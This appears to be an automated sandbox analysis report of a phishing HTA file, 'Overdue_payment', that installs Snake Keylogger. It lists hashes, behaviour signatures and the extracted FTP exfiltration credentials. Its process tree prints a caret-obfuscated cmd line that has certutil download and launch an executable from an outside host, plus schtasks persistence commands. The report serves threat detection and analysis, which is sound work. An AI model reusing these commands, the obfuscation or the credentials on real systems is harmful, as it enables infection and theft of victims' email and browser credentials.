Analysis
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max time kernel
80s -
max time network
113s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
25-09-2023 10:02
Static task
static1
Behavioral task
behavioral1
Sample
mkhg_Overdue_payment.hta
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
mkhg_Overdue_payment.hta
Resource
win10v2004-20230915-en
General
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Target
mkhg_Overdue_payment.hta
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Size
9KB
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MD5
b9dfe024b3df498c61441d3f2f1bb498
-
SHA1
1d12bec3e863aa225f7be5008598dd953e23dc05
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SHA256
3996b5a66262b9cf59b38a399d0467dae23a4044ddf26da24aa292659f3c0803
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SHA512
833887996411ab1614f9cb750ad8516eaf223c8af8db0919f75a3d05a8460c5a925fa62193f8c447cbcc5073252300d3d9dd2c56a295f9a198433f566a398a65
-
SSDEEP
24:vVPaQJWpXy7RZnHDACVYxdNAbaCs58ms1e5XTldVbZiNMG:TJCy7R1ydNAbaHXtZG
Malware Config
Extracted
Protocol: ftp- Host:
ftp.product-secured.com - Port:
21 - Username:
[email protected] - Password:
2V8SHFwjad34@@##
Extracted
snakekeylogger
Protocol: ftp- Host:
ftp://ftp.product-secured.com/ - Port:
21 - Username:
[email protected] - Password:
2V8SHFwjad34@@##
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2404-17-0x0000000000400000-0x0000000000424000-memory.dmp family_snakekeylogger -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exeTestPutty.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation TestPutty.exe -
Executes dropped EXE 5 IoCs
Processes:
TestPutty.exeTestPutty.exesvchost.exesvchost.exeavast.exepid process 4696 TestPutty.exe 2404 TestPutty.exe 4648 svchost.exe 3252 svchost.exe 1156 avast.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
TestPutty.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 TestPutty.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 TestPutty.exe Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 TestPutty.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 66 checkip.dyndns.org -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 3264 cmd.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
TestPutty.exesvchost.exedescription pid process target process PID 4696 set thread context of 2404 4696 TestPutty.exe TestPutty.exe PID 4648 set thread context of 3252 4648 svchost.exe svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3196 schtasks.exe 3264 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
TestPutty.exepid process 2404 TestPutty.exe 2404 TestPutty.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
TestPutty.exedescription pid process Token: SeDebugPrivilege 2404 TestPutty.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
TestPutty.exepid process 2404 TestPutty.exe -
Suspicious use of WriteProcessMemory 58 IoCs
Processes:
mshta.execmd.execmd.exeTestPutty.execmd.exesvchost.execmd.exedescription pid process target process PID 4868 wrote to memory of 3264 4868 mshta.exe cmd.exe PID 4868 wrote to memory of 3264 4868 mshta.exe cmd.exe PID 4868 wrote to memory of 3264 4868 mshta.exe cmd.exe PID 3264 wrote to memory of 1824 3264 cmd.exe cmd.exe PID 3264 wrote to memory of 1824 3264 cmd.exe cmd.exe PID 3264 wrote to memory of 1824 3264 cmd.exe cmd.exe PID 3264 wrote to memory of 4836 3264 cmd.exe cmd.exe PID 3264 wrote to memory of 4836 3264 cmd.exe cmd.exe PID 3264 wrote to memory of 4836 3264 cmd.exe cmd.exe PID 1824 wrote to memory of 4296 1824 cmd.exe certutil.exe PID 1824 wrote to memory of 4296 1824 cmd.exe certutil.exe PID 1824 wrote to memory of 4296 1824 cmd.exe certutil.exe PID 3264 wrote to memory of 4696 3264 cmd.exe TestPutty.exe PID 3264 wrote to memory of 4696 3264 cmd.exe TestPutty.exe PID 3264 wrote to memory of 4696 3264 cmd.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 2404 4696 TestPutty.exe TestPutty.exe PID 4696 wrote to memory of 4648 4696 TestPutty.exe svchost.exe PID 4696 wrote to memory of 4648 4696 TestPutty.exe svchost.exe PID 4696 wrote to memory of 4648 4696 TestPutty.exe svchost.exe PID 4696 wrote to memory of 2036 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 2036 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 2036 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 1728 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 1728 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 1728 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 3560 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 3560 4696 TestPutty.exe cmd.exe PID 4696 wrote to memory of 3560 4696 TestPutty.exe cmd.exe PID 1728 wrote to memory of 3196 1728 cmd.exe schtasks.exe PID 1728 wrote to memory of 3196 1728 cmd.exe schtasks.exe PID 1728 wrote to memory of 3196 1728 cmd.exe schtasks.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3252 4648 svchost.exe svchost.exe PID 4648 wrote to memory of 3812 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 3812 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 3812 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 4188 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 4188 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 4188 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 2180 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 2180 4648 svchost.exe cmd.exe PID 4648 wrote to memory of 2180 4648 svchost.exe cmd.exe PID 4188 wrote to memory of 3264 4188 cmd.exe schtasks.exe PID 4188 wrote to memory of 3264 4188 cmd.exe schtasks.exe PID 4188 wrote to memory of 3264 4188 cmd.exe schtasks.exe -
outlook_office_path 1 IoCs
Processes:
TestPutty.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 TestPutty.exe -
outlook_win_path 1 IoCs
Processes:
TestPutty.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 TestPutty.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mkhg_Overdue_payment.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c Cmd /C ^s^T^a^R^t^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^/^b^ ^ ^ ^/^m^I^n^ ^ ^ ^c^e^R^T^U^T^I^L^.^e^x^E^ ^ ^ ^ ^-^U^r^L^c^a^c^H^e^ ^ ^ ^ ^ ^ ^-^S^P^L^i^t^ ^ ^ ^ ^ ^-^F^ ^ ^ ^ ^ ^ ^ ^h^t^t^p^s^:^/^/^v^o^i^l^a^r^a^p^e^.^o^n^l^i^n^e^/^i^n^v^o^i^c^e^/^d^o^c^d^a^d^2^0^2^3^0^9^2^5^.^e^x^e^ ^ C:\Users\Admin\AppData\Roaming\TestPutty.exe | CMd.exE /sTarT /b /MiN pInG.Exe & start C:\Users\Admin\AppData\Roaming\TestPutty.exe"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\SysWOW64\cmd.exeCmd /C sTaRt /b /mIn ceRTUTIL.exE -UrLcacHe -SPLit -F https://voilarape.online/invoice/docdad20230925.exe C:\Users\Admin\AppData\Roaming\TestPutty.exe3⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\certutil.execeRTUTIL.exE -UrLcacHe -SPLit -F https://voilarape.online/invoice/docdad20230925.exe C:\Users\Admin\AppData\Roaming\TestPutty.exe4⤵PID:4296
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C:\Windows\SysWOW64\cmd.exeCMd.exE /sTarT /b /MiN pInG.Exe3⤵PID:4836
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C:\Users\Admin\AppData\Roaming\TestPutty.exeC:\Users\Admin\AppData\Roaming\TestPutty.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Users\Admin\AppData\Roaming\TestPutty.exe"C:\Users\Admin\AppData\Roaming\TestPutty.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:2404 -
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"5⤵
- Executes dropped EXE
PID:3252 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\avast"5⤵PID:3812
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\avast\avast.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\avast\avast.exe'" /f6⤵
- Creates scheduled task(s)
PID:3264 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "C:\Users\Admin\AppData\Roaming\avast\avast.exe"5⤵PID:2180
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Roaming\TestPutty.exe" "C:\Users\Admin\AppData\Roaming\svchost\svchost.exe"4⤵PID:3560
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f4⤵
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f5⤵
- Creates scheduled task(s)
PID:3196 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\svchost"4⤵PID:2036
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C:\Users\Admin\AppData\Roaming\avast\avast.exeC:\Users\Admin\AppData\Roaming\avast\avast.exe1⤵
- Executes dropped EXE
PID:1156
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
812KB
MD5a2144ec73f793ed49255c96839a7a1f6
SHA10f0e44b93259265f2fb77683a0a2bd808e79224f
SHA256ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
SHA512a824da9932404d70783a34c8020e06fd1559ccbcac952134612c84b27ae9921239c6e5fdec1304174de95098617aa94ee742a41d1a01a7ba5bdcd227ef4d1fe5
-
Filesize
812KB
MD5a2144ec73f793ed49255c96839a7a1f6
SHA10f0e44b93259265f2fb77683a0a2bd808e79224f
SHA256ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
SHA512a824da9932404d70783a34c8020e06fd1559ccbcac952134612c84b27ae9921239c6e5fdec1304174de95098617aa94ee742a41d1a01a7ba5bdcd227ef4d1fe5
-
Filesize
812KB
MD5a2144ec73f793ed49255c96839a7a1f6
SHA10f0e44b93259265f2fb77683a0a2bd808e79224f
SHA256ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
SHA512a824da9932404d70783a34c8020e06fd1559ccbcac952134612c84b27ae9921239c6e5fdec1304174de95098617aa94ee742a41d1a01a7ba5bdcd227ef4d1fe5
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
621KB
MD5ed9d91fe584d5109d4067734ac452753
SHA1c277e57866833509d94787fc6f4d634a2714825d
SHA2563629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
SHA512a6603acb550b897ec91b5c57b3034b8fd44ad9d675662aade0a078771b533b28e320c12c063c4ae48bfb23e8dfc85f304679458ea111db2e737043af0261bb1a
-
Filesize
812KB
MD5a2144ec73f793ed49255c96839a7a1f6
SHA10f0e44b93259265f2fb77683a0a2bd808e79224f
SHA256ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
SHA512a824da9932404d70783a34c8020e06fd1559ccbcac952134612c84b27ae9921239c6e5fdec1304174de95098617aa94ee742a41d1a01a7ba5bdcd227ef4d1fe5